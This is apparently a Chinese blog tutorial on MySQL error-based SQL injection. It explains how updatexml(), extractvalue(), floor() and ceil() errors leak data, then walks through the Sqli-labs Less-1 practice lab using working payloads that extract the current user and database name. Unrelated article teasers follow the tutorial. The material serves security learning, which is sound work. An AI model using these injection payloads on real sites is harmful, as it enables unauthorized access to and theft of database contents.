SQL Injection | SQL 注入 —— 报错盲注
关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客
0x01:报错盲注 —— 理论篇
报错盲注(Error-Based Blind SQL Injection)是一种常见的 SQL 注入技术,适用于那些页面不会直接显示后端处理结果的查询方式,比如 delete
、insert
、update
。
报错盲注的攻击原理:攻击者通过向 SQL 查询中注入特定的函数,迫使数据库在执行查询时产生错误,并利用这些错误信息将攻击者所需要的信息回显回来。
0x0101:MySQL 报错盲注 — 相关函数
1. updatexml() — xpath 报错注入
1.1 updatexml() 函数简介
MySQL 中的 updatexml()
函数用于更新 XML 文档的指定部分并返回修改后的文档。在需要更改存储在数据库中的 XML 数据的情况下,它特别有用:
-- updatexml() 语法UPDATEXML(xml_target, xpath_expr, new_xml)-- updatexml() 参数解析xml_target : 将要被修改的 XML 文档xpath_expr : 指定要更新的 XML 文档部分的 XPath 表达式new_xml : 将替换 xpath_expr 指定的现有内容的新 XML 内容
以下是该函数的一个正确的使用示例:
-- 将原 XML 文档中的 <name>John</name> 替换为 <name>Blue17</name>select updatexml('<root><name>John</name></root>', '/root/name', '<name>Blue17</name>');
1.2 updatexml() 报错原理
使用 updatexml()
函数时,如果 xpath_expr
格式出现错误,则 MySQL 将会爆出 xpath
语法错误(xpath syntax),比如下面这个例子:
select updatexml('<root><name>John</name></root>', '<whoami>', '<name>Blue17</name>');
1.3 updatexml() 报错实例
以下是一个使用 updatexml()
函数进行报错注入的攻击实例:
select * from users where id=1 and updatexml(1,concat(0x7e,user(),0x7e),1);
2. extractvalue() — xpath 报错注入
2.1 extractvalue() 函数简介
MySQL 中的 extractvalue()
函数用于从目标 XML 文档中提取和查询指定部分的文档:
-- extractvalue() 语法EXTRACTVALUE(xml_document, xpath_expr)-- extractvalue() 参数解析xml_document : 包含 XML 文档的字符串或者一个列名xpath_expr : 指定要提取的节点的 xpath 表达式
以下是该函数的一个正确的使用示例:
-- 查询 XML 文档中的 /root/name 节点中的值SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '/root/name');
2.2 extractvalue() 报错原理
使用 extractvalue()
函数时,如果 xpath_expr
格式出现错误,则 MySQL 将会爆出 xpath
语法错误(xpath syntax),比如下面这个例子:
SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '~whoami~');
2.3 extractvalue() 报错实例
以下是一个使用 extractvalue()
函数进行报错注入的攻击示例:
insert into users values(4, 'Blue17', extractvalue(1,concat(0x7e,user(),0x7e)), 4);
3. floor() - 虚表主键重复报错
3.1 floor() 函数简介
MySQL 中的 floor()
函数用户返回小于或等于指定数值的最大整数:
-- floor() 语法
FLOOR(number)-- floor() 参数解析
number : 需要向下取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。
以下是该函数的一个正确的使用示例:
select floor(4.7);
3.2 floor() 报错原理
floor()
报错注入的原理是 group by
在向临时表中插入数据时,由于 rand()
多次计算导致插入临时表时主键重复,从而报错。又因为报错前 concat()
中的 SQL 语句或者函数被执行,所以该语句报错时抛出的主键是 SQL 语句或函数执行后的结果。
关联函数
rand() / rand(N)
:产生 0~1 (包含 0 和 1)之间的随机数。若指定一个整数参数 N,则它被作用为种子值,用来产生重复序列。
count(*)
:返回表的记录数(行数)
concat()
:将多个字符串连接成一个字符串
group_by
:根据 by 对数据按照指定字段进行分组(去重),会建立一张临时表。
ceil()
:向上取整
3.2.1 floor() 报错需要满足的条件
-
floor()
报错注入在 MySQL 版本 8.0 已失效,据说在 7.3.4nts 中也已经失效了。 -
floor()
报错注入中查询用到的数据表内的数据必须>=3
条。 -
以下函数未被 WAF 过滤:
count(*)、floor() 或 ceil()、rand()、group by
。
3.2.2 floor() 报错原理 - 前置知识
在介绍 floor()
报错原理之前,我们先来了解一下 MySQL 中的 count()
函数与 group by
结合使用时的工作流程。
首先,将下面的语句复制到数据库中,我们先搭建一个用于测试测环境:
-- 创建 users 数据表
CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, uname VARCHAR(50) NOT NULL, pwd VARCHAR(255) NOT NULL
);-- 插入测试数据
insert into users values(1, 'admin', 1);
insert into users values(2, 'admin1', 2);
insert into users values(3, 'admin2', 3);
insert into users values(4, 'admin', 4);
接下来,输入下面的语句,来看一下 count(*)
与 group by
联合使用的结果:
mysql> select uname,count(*) from users group by uname;
+--------+----------+
| uname | count(*) |
+--------+----------+
| admin | 2 |
| admin1 | 1 |
| admin2 | 1 |
+--------+----------+
3 rows in set (0.00 sec)
让我们来分析一下,产生此结果的流程(这对后续理解 floor()
报错注入很重要)。
当 count(*)
和 group by
碰到一起时,MySQL 会建立一个虚拟表,那时的工作流程如下:
首先 MySQL 会建立一个空的虚拟表,key 为主建,不可重复(这里的 key 你可以理解为 分组字段,比如 group by uname
,key 就是分组字段,也就是 uname
),此时的虚表长这样:
key | count(*) |
---|---|
接下来,MySQL 会根据分组字段到虚表的 key 中查询,如果 key 中没有相同的数据,就将该数据添加进虚拟表中,并设置 count 为 1。比如,此时分组字段是 uname
,users
数据表中第一个 uname
值为 admin
,虚表中的 key 中不存在 admin
,所以就将此值直接添加进虚拟表中,并设置 count 为 1,此时的虚拟表长这样:
key | count(*) |
---|---|
admin | 1 |
然后 MySQL 会继续查看 users
数据表的下一个 uname
值,如果该值在虚拟表的 key
中没有,则继续将该值添加进虚拟表中,并设置其 count(*)
值为 1:
key | count(*) |
---|---|
admin | 1 |
admin1 | 1 |
以此类推,直到碰到下一个 uname
的值为 admin 前,虚拟表中的数据如下:
key | count(*) |
---|---|
admin | 1 |
admin1 | 1 |
admin2 | 1 |
如果在虚拟表的 key 中遇到相同的数据,则 MySQL 不会对数据进行插入,而是会对 count(*)
进行加 1 的操作。比如,此时在 users
数据表中又遇到了 uname
值为 admin,该值在虚表中是存在的,所以此时的虚表就变成了如下格式:
key | count(*) |
---|---|
admin | 1 + 1 |
admin1 | 1 |
admin2 | 1 |
流程还是很简单的,下面我们开始真正进入 floor()
报错注入的原理。在此之前,请记住虚表的一个特性:主键不能重复!
3.2.3 group by floor(rand(0) * 2) 报错原理
该语句报错的主要原因如下:
-
group by
产生的虚表中,主键不能重复。 -
rand(0)
函数执行的比 group by 插入虚拟表的速度要快。 -
floor(rand(0) * 2)
结果是存在规律的,规律为:0110110011....
,主要是前五个。
MySQL 官方提示:查询的时候使用
rand()
,该值会被计算多次!这里的计算多次,在
floor()
报错中的理解如下:在使用
group by
时,floor(rand(0) * 2)
会被执行一次,如果虚表中不存在记录,插入虚表时会再执行一次。
为了便于理解,我们先举一个特殊的例子:
-- 01. 随便选择一个数据库,创建一个空表 test
create table test(id int primary key,uname varchar(20)
);-- 02. 插入两条数据,注意,只要插入两条
insert into test values(0, 'admin');
insert into test values(1, 'admin1');-- 03. 查看 test 表中的数据
mysql> select floor(rand(0) * 2),uname,concat(floor(rand(0) * 2), "Look Me") from test;
+--------------------+--------+---------------------------------------+
| floor(rand(0) * 2) | uname | concat(floor(rand(0) * 2), "Look Me") |
+--------------------+--------+---------------------------------------+
| 0 | admin | 0Look Me |
| 1 | admin1 | 1Look Me |
+--------------------+--------+---------------------------------------+
2 rows in set (0.00 sec)-- 04. 反直觉的:rand() + group by
mysql> select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");
+---------------------------------------+----------+
| concat(floor(rand(0) * 2), "Look Me") | count(*) |
+---------------------------------------+----------+
| 1Look Me | 2 |
+---------------------------------------+----------+
1 row in set (0.00 sec)
上面 04 实例所展示的结果,是不是与我们的直觉相反,从 03 来看 concat(floor(rand(0) * 2), "Look Me")
查询出来的结果依次是:0Look Me
与 1Look Me
,所以按照道理,在计数时,最终展示的表格内容应该如下:
x | count(*) |
---|---|
0Look Me | 1 |
1Look Me | 1 |
但事实却是,1Look Me
被计数了两次。接下来,我们来理理为什么会出现这种结果。
先来看看下面这条语句的执行结果:
mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+---------------------------------------+
| concat(floor(rand(0) * 2), "Look Me") |
+---------------------------------------+
| 0Look Me |
| 1Look Me |
+---------------------------------------+
2 rows in set (0.00 sec)
当我们为其增加 count(*)
和 group by
后 MySQL 的运算过程如下:
首先,MySQL 会建立一张虚表,concat(floor(rand(0) * 2), "Look Me")
是主键,里面的值不可重复(我们将 concat(floor(rand(0) * 2), "Look Me")
简记为 Key,方便讲解):
concat(floor(rand(0) * 2), "Look Me") | count(*) |
---|---|
floor(rand(0) * 2)
结果序列:0110110011....
接下来,MySQL 会读取第一行 Key 的内容和虚表中的 Key 值进行比对,此时,MySQL 进行了第一次计算 concat(floor(rand(0) * 2), "Look Me")
,得到结果为 0LookMe
。MySQL 发现此值并不在虚表中存在,所以决定将此值插入到虚表中,并设置 count 值为 1。但是,就在 MySQL 准备将计算结果插入虚表时,由于 MySQL 的 Bug,导致 concat(floor(rand(0) * 2), "Look Me")
在插入之前又被计算了一次(第二次计算),导致 MySQL 实际插入的值为 1LookMe
,此时虚表中实际的内容为:
concat(floor(rand(0) * 2), "Look Me") | count(*) |
---|---|
1Look Me | 1 |
接着,MySQL 读取第二行 Key 的内容和虚表中的 Key 值进行比对,此时,MySQL 第三次计算了 concat(floor(rand(0) * 2), "Look Me")
,得到结果为 1LookMe
,该值在虚表中存在,所以 MySQL 就会直接执行插入操作(因为值在虚表中存在,所以不会触发 rand()
多次计算的 BUG),所以此时虚表展示的最终结果为:
concat(floor(rand(0) * 2), "Look Me") | count(*) |
---|---|
1Look Me | 1+1 |
这就是为什么最终我们看到的,和实际我们想象的不一样的原因。
接下来,我们往测试表中再次插入一条数据,触发 floor()
报错:
insert into test values(2,'admin2');mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+--------+---------------------------------------+
| uname | concat(floor(rand(0) * 2), "Look Me") |
+--------+---------------------------------------+
| admin | 0Look Me |
| admin1 | 1Look Me |
| admin2 | 1Look Me |
+--------+---------------------------------------+
3 rows in set (0.00 sec)
继续之前的分析,MySQL 读取第三行数据,第四次计算 concat(floor(rand(0) * 2), "Look Me")
的值为 0Look Me
,MySQL 发现虚表中没有该值对应的 Key,所以,准备执行插入操作。但是就在执行插入操作之前,由于 MySQL 的 Bug,其第五次计算了 concat(floor(rand(0) * 2), "Look Me")
,导致实际插入的结果为 1Look Me
,此时的虚表变成了:
xconcat(floor(rand(0) * 2), "Look Me") | count(*) |
---|---|
1Look Me | 2 |
1Look Me | ? |
可以看到,MySQL 认为自己插入的是 0Look Me
,但是由于 Bug,导致实际插入的是 1Look Me
,而 1Look Me
在虚表中是存在的,由于虚表的 Key 唯一的特性,所以 MySQL 此时就会产生报错:
select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");
3.3 floor() 报错实例
以下是一个使用 floor()
函数进行报错注入的攻击示例:
select concat(0x7e,user(),0x7e,floor(rand(0)*2))x,count(*) from test group by x;
4. ceil() - 虚表主键重复报错
4.1 ceil() 函数简介
MySQL 中的 ceil()
函数用于返回大于或等于指定数值的最小整数:
-- ceil() 语法
CEIL(number)-- ceil() 参数解析
number : 需要向上取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。
以下是该函数的一个正确的使用示例:
select ceil(4.1);
4.2 ceil() 报错原理
ceil()
报错注入的原理与上面讲解的 floor() 报错原理 一致,所以这里就不多说了。
4.3 ceil() 报错实例
以下是一个使用 ceil()
函数进行报错注入的攻击实例:
select concat(0x7e,user(),0x7e,ceil(rand(0)*2))x,count(*) from test group by x;
0x02:报错盲注 —— 实战篇
本节重点在于熟悉报错盲注的注入流程,以及注入原理。练习靶场为 Sqli-labs Less-1 GET - Error based - Single Quotes - String,靶场的配套资源如下(附安装教程):
实验工具准备
PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)
SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:Sqli-labs Less-1 GET - Error based - Single Quotes - String)
0x0201:第一阶段 — 判断注入点
靶场提示 Please input the ID as parameter with numeric value
要我们输入一个数字型的 ID
作为参数进行查询,那我们就按它的意思传入 id
看看网页返回的结果:
可以看到,服务器返回了对应 id
用户的登录名与登录密码。此时,我们可以再输入几个数据进行测试:
测试 Payload 01: ?id=1 # 结果: Your Login name:Dumb Your Password:Dumb
测试 Payload 02: ?id=2 # 结果: Your Login name:Angelina Your Password:I-kill-you
测试 Payload 03: ?id=2-1 # 结果: Your Login name:Angelina Your Password:I-kill-you
测试 Payload 04: ?id=1' # 结果: 报错
可以看到,当我们传递 Payload 04 给服务器后端时,页面显示了报错信息,并且还返回了部分后端的查询模板。
0x0202:第二阶段 — 报错盲注漏洞利用
既然能显示报错信息,那么本关我们就可以直接使用报错注入(使用 Union 联合注入也是可以的,但是,从本关的名称 Error based
就可以看出,本关的考点是报错注入),攻击 Payload 如下:
-- 获取当前服务器正在使用的数据库的名称
攻击 Payload: ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+'
笔者备注: 0x7e 是字符 ~ 号,用于标识服务器报出来的数据。
可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。以上,就是报错盲注的基本利用方式。后面想查啥,直接往报错注入的回显点里写就可以了,笔者在这里就不多说了。
相关文章:

SQL Injection | SQL 注入 —— 报错盲注
关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客 0x01:报错盲注 —— 理论篇 报错盲注(Error-Based Blind SQL Injection)是一种常见的 SQL 注入技术,适用于那些页面不会直接显示后端处理结果的查询方式…...

网络通信与并发编程(四)操作系统、进程理论、开启进程的两种方式
多道技术、进程理论 文章目录 多道技术、进程理论一、操作系统1.1操作系统1.2操作系统中的常见概念1.3操作系统的发展史 二、进程理论2.1同步、异步、阻塞、非阻塞2.2 进程的层次结构2.3 运行态、阻塞态、就绪态 三、开启进程的两种方式3.1使用Process创建进程的两种方式3.2 父…...

Java--集合(三)之vectorlinkedlisthashset结构
文章目录 0.架构图1.vector解析2.LinkedList分析2.1源码分析2.2迭代器遍历的三种方式 3.set接口的使用方法3.1基本使用说明3.2基本遍历方式3.3HashSet引入3.4数组链表模拟3.5hashset扩容机制3.6hashset源码解读3.7扩容*转成红黑树机制**我的理解 0.架构图 1.vector解析 和之前介…...

upload-labs Pass-04
upload-labs Pass-04 在进行测试前,先了解一下.htaccess文件 .htaccess文件 .htaccess是Apache网络服务器一个配置文件,当.htaccess文件被放置在一个通过Apache Web服务器加载的目录中,.htaccess文件会被Apache Web服务器软件检测并执行&…...

如何修改jupyter notebook的工作目录
1.生成配置文件: 打开Anaconda Prompt,输入如下命令 jupyter notebook --generate-config 用代码可以找到配置文件位置,如果没有填y可以生成。 2.修改配置文件: 修改jupyter_notebook_config.py的配置文件,需将c.Not…...

23种设计模式具体实现方法
提示:文章 文章目录 前言一、背景二、设计模式1、代理模式2、适配器模式2.1 总结 三、3.1 总结 前言 前期疑问: 本文目标: 一、背景 最近 二、设计模式 1、代理模式 参考的这篇文章,代理模式(Proxy) 同时这篇文章还引用了另…...

cisco网络安全技术第3章测试及考试
测试 使用本地数据库保护设备访问(通过使用 AAA 中央服务器来解决)有什么缺点? 试题 1选择一项: 必须在每个设备上本地配置用户帐户,是一种不可扩展的身份验证解决方案。 请参见图示。AAA 状态消息的哪一部分可帮助…...

数据结构练习题5(链表和栈)
1环形链表 II 给定一个链表的头节点 head ,返回链表开始入环的第一个节点。 如果链表无环,则返回 null。 如果链表中有某个节点,可以通过连续跟踪 next 指针再次到达,则链表中存在环。 为了表示给定链表中的环,评测…...

计算机网络408真题解析(湖科大教书匠)
09年...

uniapp+vue3+uview-plus修改默认样式
最近使用uniappvue3uview-plus开发微信小程序中,使用uview-plus自定义底部导航栏tabbar时,遇到修改默认样式不生效问题 使用传统的 ::v-deep、:deep、::v-deep,或者style标签中去掉scoped也是无效的,有好的方案欢迎交流ÿ…...

数控机械制造工厂ERP适用范围有哪些
在当今制造业高速发展的背景下,企业资源计划(ERP)系统已成为提升工厂管理效率、实现生产自动化与信息化的关键工具。特别是对于数控机械制造工厂而言,一个合适的ERP系统能够帮助其优化生产流程、提高产品质量、降低生产成本并增强市场竞争力。 1. 生产计…...

华为配置 之 Console线路配置
目录 简介: 知识点: 配置Console线路密码 1.密码认证模式 2.AAA认证模式 知识点: 总结: 简介: 使用PC模拟器与路由器相连(与交换机相连原理一样),在关机状态下,使用…...

小米等手机彻底关闭快应用
文章目录 快应用的是非最终措施:撤销快应用隐私协议配套措施:安卓去除开屏广告 无用的操作:载快应用小米手机无用,其他手机可以尝试的操作关闭唤起快应用服务打开防止误触、后台启动其他应用 其他措施:冻结、加密快应用…...

【每日一题】24.10.14 - 24.10.20
10.14 直角三角形1. 题目2. 解题思路3. 代码实现(AC_Code) 10.15 回文判定1. 题目2. 解题思路3. 代码实现(AC_Code) 10.16 二次方程1. 题目2. 解题思路3. 代码实现(AC_Code) 10.17 互质1. 题目2. 解题思路3…...

CMake与Qt4/Qt5的结合使用指南
CMake与Qt4/Qt5的结合使用指南 一、同时使用Qt 4和Qt 5二、Qt构建工具2.1 AUTOMOC2.2 AUTOUIC2.3 AUTORCC 三、<ORIGIN>_autogen目标四、Visual Studio生成器五、Windows上的qtmain.lib六、其他文章推荐 在CMake中,您可以方便地找到并使用Qt 4和Qt 5库。Qt 4库…...

TwinCAT3添加PLC轴,并建立PLC轴与NC轴的链接
右键PLC选项,点击创建新项 在弹出的对话框中,选择PLC Templates,然后选择Standard PLC Project,填写项目名称后点击添加 在PLC项目目录中右键GVLs,选择Add,添加Global Variable List(全局变…...

Linux操作系统如何制作U盘启动盘
在麒麟系统中有一款U盘启动器软件,它是用于制作系统启动U盘的工具,方便无光驱的电脑安装操作系统,也可以反复使用一个U盘,避免光盘的浪费。下面对该U盘启动器使用方法做详细讲解。 1.准备需要安装的系统镜像文件。 图 1 2.准备1…...

如何防止SpringBoot中的jar反编译?解决相关报错及踩到的坑
目录 1. 面对的场景 2. 方案 2.1 使用代码混淆 2.2 JAR包加密 3. 项目操作 4. 启动方式 5. 踩到的各种坑 5.1 java -jar xxx-0.0.1-SNAPSHOT.jar 没有主清单属性 5.2 Caused by: java.lang.IllegalArgumentException: Unrecognized option: -pwdfxw-jar 1. 面对的场景…...

Axios 基本使用
Axios 是一个异步请求技术,核心作用就是用来在页面中发送异步请求,并获取对应数据在页面中渲染 页面局部更新技术 Ajax 中文网站:https://www.kancloud.cn/yunye/axios/234845 安装: <script src"https://unpkg.com/axios/dist/axios.min.js"></script&g…...

前端大佬都在用的actionDelegationMiddleware究竟有多香?
作为一个前端开发者,我深知跨组件通信的痛点。今天,我要和大家分享一个让我眼前一亮的工具 - alovajs 的 actionDelegationMiddleware。这个中间件简直就是跨组件通信的得力助手!它让我们可以在任意组件中触发其他组件的请求操作,解决了很多麻烦。用了它之后,我感觉整个项目的架…...

解决k8s集群中安装ks3.4.1开启日志失败问题
问题 安装kubesphere v3.4.1时,开启了日志功能,部署时有三个pod报错了 Failed to pull image “busybox:latest”: rpc error: code Unknown desc failed to pull and unpack image “docker.io/library/busybox:latest”: failed to copy: httpRead…...

Qml-Item的Id生效范围
Qml-Item的Id生效范围 前置声明 本实例在Qt6.5版本中做的验证同一个qml文件中,id是唯一的,即不同有两个相同id 的Item;当前qml文件中声明的id在当前文件中有效(即如果其它组件中传入的id,与当前qml文件中id 相同,当前…...

【配色网站分享】
个人比较喜欢收藏一些好看的插画、UI设计图和配色,于是有了此篇,推荐一些配色网站,希望能对自己和大家有些帮助。 1.uiGradients 一个主打渐变风网站,还可以直接复制颜色。 左上角的“show all gradients”可以查看一些预设的渐…...

【记录】Android|安卓平板 猫游戏(四款,peppy cat,含下载教程和链接)
前言 网上大部分直接找到的都是 iPad 的猫游戏,安卓的要查英文才找得到,但质量也都一般,或不知道在哪里下载。 遂自己找。 下载测试时间:2024/10/20 文章目录 前言1 检索2 亲测2.1 ✅⭐⭐⭐⭐⭐Cat Alone 1 and 22.2 Ǵ…...

微前端架构及其解决方案对比
微前端架构及其解决方案对比 微前端架构是一种通过将大型前端应用拆分为多个独立的、可单独部署的小型应用的设计模式。随着这种模式的流行,诞生了多种微前端实现方案,每个方案都有其独特的特点和适用场景。以下是常见的微前端解决方案及其优缺点对比&a…...

git add操作,文件数量太多卡咋办呢,
git add介绍 Git的add命令是用于将文件或目录添加到暂存区(也就是索引库),以便在后续的提交(commit)操作中一并上传到版本库的。具体来说,git add命令有以下几种常见用法: 添加单个文件&#…...

搭建Golang gRPC环境:protoc、protoc-gen-go 和 protoc-gen-go-grpc 工具安装教程
参考文章: 安装protoc、protoc-gen-go、protoc-gen-go-grpc-CSDN博客 一、简单介绍 本文开发环境,均为 windows 环境,mac 环境其实也类似 ~ ① 编译proto文件,相关插件 简单介绍: protoc 是编译器,用于将…...

Spring Boot 核心理解-自动装配
自动装配 spring boot的自动装配(auto configuration)是通过spring framework的依赖注入(dependency injection, DI)和配置类的组合来实现的。 spring boot 的自动装配机制可以简化应用的配置过程,是开发者不再需要手…...

go 中指针的执行效率比较
package main import ("fmt""time" ) type Books struct {title stringauthor stringsubject stringbook_id int } func main() {start : time.Now() // 记录开始时间var Book1 Books /* 声明 Book1 为 Books 类型 */var Book2 Books /* 声明…...

单链表的经典算法OJ
目录 1.反转链表 2.链表的中间节点 3.移除链表元素 ——————————————————————————————————————————— 正文开始 1.反转链表 typedef struct ListNode ListNode; struct ListNode* reverseList(struct ListNode* head) {//判空if(…...